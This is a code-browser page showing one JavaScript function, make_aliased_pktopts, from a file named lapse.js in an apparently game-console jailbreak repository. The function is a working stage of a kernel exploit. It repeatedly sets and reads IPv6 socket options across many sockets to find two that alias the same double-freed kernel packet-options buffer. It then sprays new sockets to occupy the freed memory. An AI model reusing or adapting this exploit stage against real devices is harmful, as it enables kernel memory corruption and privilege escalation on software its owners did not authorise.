MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / make_aliased_pktopts

Function make_aliased_pktopts

g2all/900/lapse.js:978–1012  ·  view source on GitHub ↗
(sds)

Source from the content-addressed store, hash-verified

976// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
977
978function make_aliased_pktopts(sds) {
979 const tclass = new Word();
980 for (let loop = 0; loop < num_alias; loop++) {
981 for (let i = 0; i < num_sds; i++) {
982 setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
983 }
984
985 for (let i = 0; i < num_sds; i++) {
986 tclass[0] = i;
987 ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
988 }
989
990 for (let i = 0; i < sds.length; i++) {
991 gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
992 const marker = tclass[0];
993 if (marker !== i) {
994 log(`aliased pktopts at attempt: ${loop}`);
995 const pair = [sds[i], sds[marker]];
996 log(`found pair: ${pair}`);
997 sds.splice(marker, 1);
998 sds.splice(i, 1);
999 // add pktopts to the new sockets now while new allocs can't
1000 // use the double freed memory
1001 for (let i = 0; i < 2; i++) {
1002 const sd = new_socket();
1003 ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
1004 sds.push(sd);
1005 }
1006
1007 return pair;
1008 }
1009 }
1010 }
1011 die('failed to make aliased pktopts');
1012}
1013
1014function double_free_reqs1(
1015 reqs1_addr, kbuf_addr, target_id, evf, sd, sds,

Callers 1

double_free_reqs1Function · 0.70

Calls 6

logFunction · 0.90
dieFunction · 0.90
setsockoptFunction · 0.70
ssockoptFunction · 0.70
gsockoptFunction · 0.70
new_socketFunction · 0.70

Tested by

no test coverage detected